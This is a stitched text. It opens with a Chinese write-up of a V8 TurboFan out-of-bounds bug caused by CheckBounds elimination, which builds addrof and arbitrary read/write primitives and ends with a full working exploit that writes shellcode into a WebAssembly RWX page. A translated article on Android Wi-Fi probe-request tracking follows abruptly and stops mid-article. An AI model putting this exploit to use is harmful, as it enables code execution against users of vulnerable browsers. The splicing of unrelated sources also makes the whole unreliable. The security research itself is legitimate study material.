bitset bits = type1.BitsetGlb() & type2.BitsetGlb();
int size1 = type1.IsUnion() ? type1.AsUnion()->Length() : 1;
int size2 = type2.IsUnion() ? type2.AsUnion()->Length() : 1;
int size;
if (base::bits::SignedAddOverflow32(size1, size2, &size)) return Any();
if (base::bits::SignedAddOverflow32(size, 2, &size)) return Any();
UnionType* result = UnionType::New(size, zone);
size = 0;
// Deal with bitsets.
result->Set(size++, NewBitset(bits));
RangeType::Limits lims = RangeType::Limits::Empty();
size = IntersectAux(type1, type2, result, size, &lims, zone);
// If the range is not empty, then insert it into the union and
// remove the number bits from the bitset.
if (!lims.IsEmpty()) {
size = UpdateRange(Type::Range(lims, zone), result, size, zone);
// Remove the number bits.
bitset number_bits = BitsetType::NumberBits(bits);
bits &= ~number_bits;
result->Set(0, NewBitset(bits));
}
return NormalizeUnion(result, size, zone);
}
对于测试`demo`，其`0、1`两个节点的范围如下：
显然就是取[4,4]和[0,2147483646]的交集，因此`CheckBounds`的`typer`结果是[4,4]。最终导致满足`uintlessthan`的优化条件`left_type.Min()
>= right_type.Max()`，被优化成永假。
## poc构造
综上，分析了测试样例不能触发`OOB`的原因，首先要想办法绕过`loadelimination`阶段对`loadelement`节点的消除。
可以发现一个显然的途径是在`CheckBounds`的`typer`阶段做文章，如果让`CheckBounds`节点的范围并非单一值而是一个范围，保证最小值小于要访问`element`的范围，就不会满足消除的条件`(left_type.Min()
>= right_type.Max())`，而核心问题是对第一个输入的节点范围的扩展，因为`CheckBounds`的范围基本由此确定。
长亭发表的一篇[writeup](https://zhuanlan.zhihu.com/p/73081003)中提到了两种解决方案，第一种是对`index`增加一个`and`操作`idx
&= 0xfff;`，这种方法会在原来`NumberConstant[4]`下面增加一个`SpeculativeNumberBitwiseAnd`节点。
而这个节点的`typer`实现如下：
Type OperationTyper::NumberBitwiseAnd(Type lhs, Type rhs) {
DCHECK(lhs.Is(Type::Number()));
DCHECK(rhs.Is(Type::Number()));
lhs = NumberToInt32(lhs);
rhs = NumberToInt32(rhs);
if (lhs.IsNone() || rhs.IsNone()) return Type::None();
double lmin = lhs.Min();
double rmin = rhs.Min();
double lmax = lhs.Max();
double rmax = rhs.Max();
double min = kMinInt;
// And-ing any two values results in a value no larger than their maximum.
// Even no larger than their minimum if both values are non-negative.
double max =
lmin >= 0 && rmin >= 0 ? std::min(lmax, rmax) : std::max(lmax, rmax);
// And-ing with a non-negative value x causes the result to be between
// zero and x.
if (lmin >= 0) {
min = 0;
max = std::min(max, lmax);
}
if (rmin >= 0) {
min = 0;
max = std::min(max, rmax);
}
return Type::Range(min, max, zone());
}
其中`lmin、lmax`为`255`，`rmin、rmax`为`4`，因此最终该节点的范围`(0,4)`，传递至`CheckBounds`节点并不满足这消除条件，可以触发漏洞。
第二种，由于逃逸分析阶段在`LoadElimination`后一阶段，因此在`typer`时，无法直接分析出从`array`中取出的`index`具体值，只能将其分析为`Signed32`，最终`CheckBounds`的范围为`(0,2147483646)`
此外，还可以利用`Phi`节点来达到同样的目的，当某个值存在分支时，`Turbofan`会将增加一个`phi`节点，并将这两个值都加入节点的范围去传递，那么`poc`同样可以这样构造
var opt_me = (x) => {
let arr = [1,2,3,4.1];
let index = 0;
if(x = 'p4nda')
index = 4;
return arr[index];
};
for (var i = 0; i < 0x10000; ++i)
opt_me('test');
console.log(opt_me('p4nda'));
则构造的`IR`图如下
执行结果如下：
# p4nda @ ubuntu in ~/chromium/v8/v8/out.gn/x64.debug/log on git:749f0727a2 x [10:39:33] C:130
$ ../d8 ./test.js
-1.1885946300594787e+148
## addrof原语构造
现在在`element`上存在一个`off-by-one`。对于一个`JSArray`，其数据结构本身与`element`内存分布存在两种布局，一种是`elememt`在低地址，一般用`var a =
[1.1,1.2,1.3]`这样的方式构建；另一种是`element`在高地址，一般用`var a =
Array(4)`这样的方式构建。由于二者内存位置紧邻，因此，可以通过`off-by-one`泄露或者修改一个对象的`map`地址，从而造成`type
confuse`。
一个简单的想法就是将一个存放了`obj`的`JSArray`的`map`改为全部存放`double`类型的`JSArray map`。
首先泄露比较简单，利用之前的`poc`可以将`arr`的`map`，并将`arr`加入一个全局的`Array`防止`map`被释放。
function get_map_opt(x){
let arr = [1.1,1.2,1.3,1.4];
let arr_ele = [arr,arr,arr,arr];
let index = 0;
if(x = 'p4nda'){index = 4;}
return [arr[index],arr,arr_ele];
}
function get_map(){
var tmp ;
for(var i = 0; i< 10000;i++){
tmp = get_map_opt('test');
}
double_map = tmp[0];
element_map =Add(Int64.fromDouble(double_map), 0xa0).asDouble();
global_var.push(tmp[1]);
global_var.push(tmp[2]);
}
get_map();
在拿到了一个`PACKED_DOUBLE_ELEMENTS`类型的`map`时，就可以对一个`PACKED_ELEMENTS`类型的`JSArray`造类型混淆了。这里有一个坑点，就是不能对一个`PACKED_ELEMENTS`类型的`map`位置直接写一个`double`，因为`element`一共有三种类型，并且是不可逆的改变，向`PACKED_ELEMENTS`类型的`element`写`double`会将`double`转换为一个`HeapNumber`，也是一个`HeapObject`，而非`double`值本身。
例如：
# p4nda @ ubuntu in ~/chromium/v8/v8/out.gn/x64.debug on git:749f0727a2 x [10:26:24]
$ cat ./log/test.js
let a = [1.1,1.2];
let b = [1,2];
let c = [a,b];
%DebugPrint(c);
c[0] = 1.1;
%DebugPrint(c);
# p4nda @ ubuntu in ~/chromium/v8/v8/out.gn/x64.debug on git:749f0727a2 x [10:26:37]
$ ./d8 --allow-natives-syntax ./log/test.js
DebugPrint: 0x39d386b0b441: [JSArray]
- map: 0x2bd1746c3069 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x2e535e811859 <JSArray[0]>
- elements: 0x39d386b0b421 <FixedArray[2]> [PACKED_ELEMENTS]
- length: 2
- properties: 0x1c1fd9680c21 <FixedArray[0]> {
#length: 0x2c68462c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x39d386b0b421 <FixedArray[2]> {
0: 0x39d386b0b3e1 <JSArray[2]>
1: 0x39d386b0b401 <JSArray[2]>
}
DebugPrint: 0x39d386b0b441: [JSArray]
- map: 0x2bd1746c3069 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x2e535e811859 <JSArray[0]>
- elements: 0x39d386b0b421 <FixedArray[2]> [PACKED_ELEMENTS]
- length: 2
- properties: 0x1c1fd9680c21 <FixedArray[0]> {
#length: 0x2c68462c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x39d386b0b421 <FixedArray[2]> {
0: 0x2e535e81f8a9 <HeapNumber 1.1>
1: 0x39d386b0b401 <JSArray[2]>
}
因此需要做一下转换，对一个写满`double_map`的`JSArray`(`PACKED_DOUBLE_ELEMEMTS`类型)造类型混淆，使其混淆为`PACKED_ELEMENT`类型，这样再去其中的一个变量向`PACKED_ELEMENT`类型的`JSArray`写入，即可将其混淆为`PACKED_DOUBLE_ELEMENT`类型，从而读出其中`object`的地址。
function prepare_double_map_opt(x){
let arr = [double_map,double_map,double_map,double_map];
let index = 0;
if(x = 'p4nda'){index = 4;}
arr[index] = element_map;
return arr;
}
function prepare_double_map(){
var tmp;
for (var i = 0; i< 10000;i++){
tmp = prepare_double_map_opt();
}
return tmp[1];
}
double_map_obj = prepare_double_map();
function addrof_opt(obj){
var a = [obj, obj, obj, obj];
let index = 0;
if(x = 'p4nda'){index = 4};
a[index] = double_map_obj;
return a;
}
function addrof(obj){
for(var i = 0;i<100000;i++){
var a = addrof_opt(obj);
}
return a[0];
}
## 任意地址读写构造
`JSArray`数据可以存放于三个位置，以数字下标访问的存放于`elements`，以`value:key`访问的如果是初始化的时定义的，直接存于数据结构中，其余后续加入的存于`properties`，而对于键值对访问的数据，其键值查找方式存于`map`中，那么如果可以对一个`JSArray`的`map`进行修改，通过键值对访问的方式，对后续数据进行修改。
首先，获取一个含有`properties`很多的一个`JSArray`的`map`,
function get_array_map_opt(x){
let a = Array(2);
a[0] = 1.1;
a[1] = 1.2;
let b = {a0:1.1 , a1:1.1 , a2:1.1 , a3:1.1 , a4:1.1 , a5:1.1 , a6:1.1 , a7:1.1 , a8:1.1 , a9:1.1 , a10:1.1 , a11:1.1 , a12:1.1 , a13:1.1 , a14:1.1 , a15:1.1 , a16:1.1 , a17:1.1 , a18:1.1 , a19:1.1 , a20:1.1 , a21:1.1 , a22:1.1 , a23:1.1 , a24:1.1 , a25:1.1 , a26:1.1 , a27:1.1 , a28:1.1 , a29:1.1};
let index = 0;
if(x = 'p4nda'){index = 2;}
return [a[index],b];
}
function get_array_map(){
for(var i = 0; i< 10000; i++){
var tmp = get_array_map_opt();
}
array_map = tmp[0];
global_tmp.push(tmp[1]);
}
get_array_map();
通过布局使一个`JSArrayBuffer`恰好处于紧邻一个`JSArray`的高地址位置，这样将`JSArray`的`map`修改为以上`map`，就可以不断修改`backing_store`了，由于这个布局相对稳定，因此可以重复使用。
function get_victim_obj_opt(x){
let b = [11.1,1.1];
let index = 0;
if (x = 'p4nda'){index = 2;}
b[index] = array_map;
console.log(b.length);
return b;
}
function get_victim_obj(){
for (var i = 0 ; i < 10000; i++){
var tmp = get_victim_obj_opt();
}
victim_arraybuffer = new ArrayBuffer(0x100);
victim_jsarray = tmp;
}
get_victim_obj();
通过访问`victim_jsarray.a5`实际上读写的是`victim_arraybuffer`的`backing_store`成员，通过对`victim_arraybuffer`读写达到任意地址读写的目的。
最终，通过`wasm`对象，找到`rwx-`区域，执行`shellcode`。
## EXP
function gc()
{
/*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/
for(var i=0;i<((1024 * 1024)/0x10);i++)
{
var a= new String();
}
}
function give_me_a_clean_newspace()
{
/*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/
gc()
gc()
}
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64;
}
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
function utf8ToString(h, p) {
let s = "";
for (i = p; h[i]; i++) {
s += String.fromCharCode(h[i]);
}
return s;
}
let global_var = Array();
let double_map , element_map , double_map_obj , array_map , victim_jsarray,victim_arraybuffer;
let global_tmp = [];
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);
var wasmImports = {
env: {
puts: function puts (index) {
console.log(utf8ToString(h, index));
}
}
};
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
let f = m.exports.p4nda;
console.log("step 0: Game start");
f();
function exploit(){
function get_map_opt(x){
let arr = [1.1,1.2,1.3,1.4];
let arr_ele = [arr,arr,arr,arr];
let index = 0;
if(x = 'p4nda'){index = 4;}
return [arr[index],arr,arr_ele];
}
function get_map(){
var tmp ;
for(var i = 0; i< 10000;i++){
tmp = get_map_opt('test');
}
double_map = tmp[0];
element_map =Add(Int64.fromDouble(double_map), 0xa0).asDouble();
global_var.push(tmp[1]);
global_var.push(tmp[2]);
}
get_map();
console.log("double_map:",Int64.fromDouble(double_map));
console.log("element_map:",Int64.fromDouble(element_map));
function get_array_map_opt(x){
let a = Array(2);
a[0] = 1.1;
a[1] = 1.2;
let b = {a0:1.1 , a1:1.1 , a2:1.1 , a3:1.1 , a4:1.1 , a5:1.1 , a6:1.1 , a7:1.1 , a8:1.1 , a9:1.1 , a10:1.1 , a11:1.1 , a12:1.1 , a13:1.1 , a14:1.1 , a15:1.1 , a16:1.1 , a17:1.1 , a18:1.1 , a19:1.1 , a20:1.1 , a21:1.1 , a22:1.1 , a23:1.1 , a24:1.1 , a25:1.1 , a26:1.1 , a27:1.1 , a28:1.1 , a29:1.1};
let index = 0;
if(x = 'p4nda'){index = 2;}
return [a[index],b];
}
function get_array_map(){
for(var i = 0; i< 10000; i++){
var tmp = get_array_map_opt();
}
array_map = tmp[0];
global_tmp.push(tmp[1]);
//%DebugPrint(tmp[1]);
}
get_array_map();
console.log("array_map",Int64.fromDouble(array_map));
function prepare_double_map_opt(x){
let arr = [double_map,double_map,double_map,double_map];
let index = 0;
if(x = 'p4nda'){index = 4;}
arr[index] = element_map;
return arr;
}
function prepare_double_map(){
var tmp;
for (var i = 0; i< 10000;i++){
tmp = prepare_double_map_opt();
}
return tmp[1];
}
double_map_obj = prepare_double_map();
function addrof_opt(obj){
var a = [obj, obj, obj, obj];
let index = 0;
if(x = 'p4nda'){index = 4};
a[index] = double_map_obj;
return a;
}
function addrof(obj){
for(var i = 0;i<100000;i++){
var a = addrof_opt(obj);
}
return a[0];
}
f_obj_addr = Int64.fromDouble(addrof(f))
console.log("address of function obj:",f_obj_addr);
//%DebugPrint(f);
function get_victim_obj_opt(x){
let b = [11.1,1.1];
let index = 0;
if (x = 'p4nda'){index = 2;}
b[index] = array_map;
console.log(b.length);
return b;
}
function get_victim_obj(){
for (var i = 0 ; i < 10000; i++){
var tmp = get_victim_obj_opt();
}
victim_arraybuffer = new ArrayBuffer(0x100);
victim_jsarray = tmp;
}
get_victim_obj();
//%DebugPrint(victim_jsarray);
//%DebugPrint(victim_arraybuffer);
console.log(Int64.fromDouble(victim_jsarray.a5));
victim_jsarray.a5 = f_obj_addr.asDouble();
let dv = new DataView(victim_arraybuffer);
SharedFunctionInfo_addr = Int64.fromDouble(dv.getFloat64(0x17,true));
console.log("[+] SharedFunctionInfo addr :"+SharedFunctionInfo_addr);
victim_jsarray.a5 = SharedFunctionInfo_addr.asDouble();
WasmExportedFunctionData_addr = Int64.fromDouble(dv.getFloat64(0x7,true));
console.log("[+] WasmExportedFunctionData addr :"+WasmExportedFunctionData_addr);
//let tmp = addrof(f);
victim_jsarray.a5 = WasmExportedFunctionData_addr.asDouble();
WasmInstanceObject_addr = Int64.fromDouble(dv.getFloat64(0xf,true));
console.log("[+] WasmInstanceObject addr :"+WasmInstanceObject_addr);
victim_jsarray.a5 = WasmInstanceObject_addr.asDouble();
imported_function_targets_addr = Int64.fromDouble(dv.getFloat64(0x3f,true));
console.log("[+] imported_function_targets addr :"+imported_function_targets_addr);
victim_jsarray.a5 = imported_function_targets_addr.asDouble();
rwx_area = Int64.fromDouble(dv.getFloat64(0,true));
console.log("[+] rwx_area addr :"+rwx_area);
victim_jsarray.a5 = rwx_area.asDouble();
let shellcode_calc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];
let write_tmp = new Uint8Array(victim_arraybuffer);
write_tmp.set(shellcode_calc);
console.log("[+] Enter to pop up a calc ... ");
readline();
f();
}
exploit();
由于`chromium`编译太慢了，用`d8`代替结果： | 社区文章 |
# 【技术分享】禁用WiFi就能阻止安卓手机发送数据？太天真了少年！
|
##### 译文声明
本文是翻译文章，文章来源：hal.inria.fr
原文地址：<https://hal.inria.fr/hal-01575519/document>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
有研究结果表明[5，7]，智能手机发出的Wi-Fi信号可以用来被动追踪用户的生活轨迹。通常情况下，人们会关闭设备的Wi-Fi开关，以此阻止这种跟踪行为（参考链接[1](http://lifehacker.com/how-retail-stores-track-you-using-your-smartphone-and-827512308)，[2](https://nakedsecurity.sophos.com/2014/06/12/apples-ios-8-will-help-keep-out-wi-fi-marketers-and-snoops-but-not-totally/)）。事实上，Wi-Fi跟踪行业的从业者也建议用户使用这种方法来避免被跟踪。
Android系统在设备上提供了启用或禁用Wi-Fi功能的选项。然而，通过这个选项禁用Wi-Fi并不足以 **完全阻止** 设备的Wi-Fi活动。我们做了多项测量实验，最终确认多个Android设备存在这一行为。
**
**
**二、Android上的Wi-Fi**
**2.1 Android Wi-Fi扫描**
Android系统支持Wi-Fi协议以提供网络连接功能。与其他启用Wi-Fi的系统一样，Android需要依赖Wi-Fi服务探测机制来探测附近可用的Wi-Fi接入点。与普遍观念[4]不同的是，Android与大多数移动系统一样，使用了主动服务探测机制来主动搜索附近的接入点。为了做到这一点，Android设备会进行主动扫描，在扫描过程中，设备会发送无线
**探测请求** （probe requests）报文，请求报文中包含设备自己的（通常也是唯一的） **MAC** 地址信息。接入点会通过 **探测响应**
（probe responses）报文来通知设备。
如今，Wi-Fi服务发现也被用来 **获取位置信息** 。Wi-Fi接入点可以通过唯一的 **BSSID** （MAC地址）进行标识，
**作为地标来获取位置信息** 。在基于Wi-Fi的定位引擎的帮助下，人们可以在Wi-Fi扫描过程中获得一份接入点清单，从这个清单中推测具体的地理位置信息。在Android中，系统使用Wi-Fi扫描来启用网络连接功能以及定位功能[3]。
然而，设备不单单使用Wi-Fi扫描来推测位置信息，分析公司现在也利用Wi-Fi探测请求报文来估计商场及商店中的用户数量，并记录用户的流动性。实际上，通过统计探测请求报文中不同的MAC地址数，零售商可以得出商店中智能手机的数量。由于许多地方都能获得用户设备的MAC地址，因此可以通过跟踪这些MAC地址来实现对用户地理位置的跟踪。
**2.2 Android中与Wi-Fi有关的设置**
Android系统中有很多配置选项可以影响设备的Wi-Fi功能。其中最为明显的一个选项是Wi-Fi开关（如图1a所示）。当这个开关处于激活状态时，操作系统以及应用程序（只要程序具备足够的权限）就可以使用Wi-Fi接口的全部功能。当开关处于关闭状态时，Wi-Fi网络连接不可用，应用程序无法获得Wi-Fi扫描的结果。
另一个选项是“ **始终允许扫描** （Always allow scanning）”选项（如图1b所示），启动这个选项后，即使设备的Wi-Fi开关处于关闭状态，也能执行Wi-Fi扫描。在搭载Android 4.4.4版的三星Galaxy S3以及搭载Android 4.3版的Nexus
S中，这个选项的具体路径为“ **System- >Wi-Fi->Advanced**”中，在搭载Android 7.0的联想Moto G
5上，这个选项的具体路径为“ **Settings- >Location->Scanning**”，在搭载Android 6.0.1的一加1（OnePlus
One）上，我们没有找到这个选项。然而，我们在测试中发现，这个选项处于激活状态，测试结果会在下文中展示。
图1(a).Android 4.4.4中的Wi-Fi开关选项
图1(b).Android 4.4.4中的"始终允许扫描"选项
**
**
**三、分析设备产生的Wi-Fi活动**
我们对5个设备进行了测试，所涉及的Android系统范围从2.2.1到6.0.1。实验设备具体如下：
**Galaxy S3** ：Samsung Galaxy S3（GT-I9…），Android 4.4.4
**HTC wildfire** ，Android 2.3.7，CyanogenMod 7.2.0
**Samsung Galaxy Spica** ，Android 2.2.1，CyanogenMod 6.1.1
**Nexus S** ，Android 4.3，CyanogenMod 10.2.1.1
**OnePlus One** ，Android 6.0.1，CyanogenMod 13.1.2
**3.1 实验方案**
我们对每个智能手机在不同的设置以及不同的活动下产生的Wi-Fi流量进行了监控。设备与接入点之间没有关系。为了监控Wi-Fi活动，我们使用了一个
**处于监控模式下的Wi-Fi无线网卡** ，在固定信道上捕获流量。我们从收集到的Wi-Fi帧中提取源MAC地址，以识别某个设备生成的流量。事实上，这些设备发出的所有Wi-Fi帧的头部中都包含设备的MAC地址（这些设备并不支持MAC地址随机化）。
我们考虑了如下几个选项：
**Wi-Fi开关** ：这个选项可以控制Wi-Fi是否处于激活状态。
**始终允许扫描** （Always allow scanning）：当Wi-Fi处于关闭状态时，这个选项可以允许设备进行Wi-Fi扫描。
**定位** （Location）：这个选项能够控制定位功能。在某些设备中，这个选项分为两个选项：基于GPS的地理位置选项以及基于蜂窝数据/Wi-Fi的地理位置选项。我们只考虑后一种情况。
我们测试了以下几种活动状态，我们认为这几种状态可以反映设备的常见用途：
**点亮屏幕** （Screen on）：屏幕点亮，在设备上切换多个面板，在几分钟内保持这个状态。
**空闲** （Idle）：5分钟内没有接触设备，使屏幕自动关闭。
**退出空闲状态** （Leaving idle）：按下电源键，使设备离开空闲状态。
**Google Maps** ：设备正在运行Google Maps。
**启动Google Maps** ：用户启动Google Maps。
**不相关状态** （Uncorrelated）：此事件发生时，与用户的具体活动没有任何明显的关联性。
对于每个设备，我们尝试了前面提到过的所有选项，然后遍历了上面提及的所有活动状态，捕捉不同状态下设备的Wi-Fi流量。
除了OnePlus One以及Galaxy S3之外，其他所有设备都没有其他互联网连接渠道。
**3.2 测量结果**
我们将测量结果以表格进行展示，在测量期间，设备只产生了 **探测请求** （probe request）类型的帧。
**3.2.1 Galaxy S3**
经过测量后，我们发现此设备的Wi-Fi行为由三个参数共同决定，即：“ **Wi-Fi开关** ”、“ **始终允许扫描** ”以及“ **定位**
”选项。显然，当Wi-Fi处于激活状态时，设备可以随时发送Wi-Fi帧，特别是当设备离开空闲模式时更加明显。
启动Google Maps时，如果定位选项同时处于激活状态，那么设备同样会发送探测请求。不论Google
Maps是否处于运行状态，我们都可以观察到探测报文。
从以上观测结果中，我们可以发现， **简单禁用掉Wi-Fi并足以完全阻止Wi-Fi的活动** 。比如，
**如果“始终允许扫描”以及“定位”选项处于启用状态，那么只要使用Google Maps，设备就会产生Wi-Fi流量。这很有可能与使用基于Wi-Fi的Google定位引擎有关。**
表1.Galaxy S3在各种设置下产生的Wi-Fi活动
只有当Wi-Fi以及“ **始终允许扫描** ”选项处于禁用状态时，此时不论定位选项是否启用，我们都观察不到设备的Wi-Fi活动。
当定位及Wi-Fi处于禁用状态，而始终允许扫描处于启用状态时，我们观测到了Wi-Fi扫描事件，而这个事件无法与设备上的任何具体的行为联系在一起。也就是说，无论手机上如何操作，这些扫描事件似乎总是会出现。我们并不清楚这些扫描动作的目的何在。
**3.2.2 OnePlus One**
OnePlus One的观测结果如表2所示，这款设备与上一款设备的结果相似，不同的是，我们无法停用OnePlus
One的“始终允许扫描”选项。不同之处在于：当Wi-Fi开关以及定位选项全部关闭时，每当离开空闲模式时，该设备仍然会发送一大串探测请求报文。这一行为的具体原因尚未理清，但给我们带来了很麻烦的事情：这意味着除非我们使用设备的飞行模式，或者完全关闭这个设备，否则我们无法阻止设备发送探测请求报文。
表2.OnePlus One在各种设置下产生的Wi-Fi活动
注：在这款设备上，我们无法在设置面板中找到“始终允许扫描”选项。
**3.2.3 Nexus S**
Nexus S的测量结果如表3所示，只与Galaxy S3的结果有些许不同。我们可以注意到，即便Wi-Fi开关以及定位选项处于关闭状态，只要我们切换“始终允许扫描”选项，设备就会发送一大串探测请求报文。
表3. Nexus S在各种设置下产生的Wi-Fi活动
注：
*：设备会马上提示用户激活定位功能，点击“OK”按钮即可。
**：只要切换“始终允许扫描”选项，设备就会发送一大串探测请求报文。
**3.2.4 HTC WildFire以及Galaxy Spica**
HTC WildFire的测量结果如表4所示，我们对这个结果并不会感到意外。在早期版本的Android系统中，“始终允许扫描”这个选项并不存在，只有Wi-Fi开关处于打开状态时，设备才会发送探测请求报文。我们没有展示Samsung Galaxy
Spica的测量结果，因为这一结果与WildFire的结果非常相近，唯一的区别在于，当处于或离开空闲模式时，设备不会发送探测请求报文。
表4.HTC WildFire在各种设置下产生的Wi-Fi活动
注：这个设备搭载的是早期版本的Android系统，不存在“始终允许扫描”选项。
**3.2.5 Moto G5 Plus**
联想Moto G5 Plus的测量结果如表5所示。这个设备搭载了经过稍微定制的Android
7.0系统，并且设备的随机化行为也非常奇怪：只有处于空闲模式时，设备才会在探测报文中使用随机化的MAC地址。只有当Wi-Fi处于禁用状态下，我们才可以通过Wi-Fi设置面板来访问“始终允许扫描”选项，或者我们也可以通过“定位设置”面板来访问这个选项。
表5.Moto G5 Plus在各种设置下产生的Wi-Fi活动
注：
*：当处于空闲状态时，设备会持续发送探测请求报文，并且在报文中使用随机化MAC地址，其他情况下会使用真实的MAC地址。
**3.2.6 对测量结果的总结**
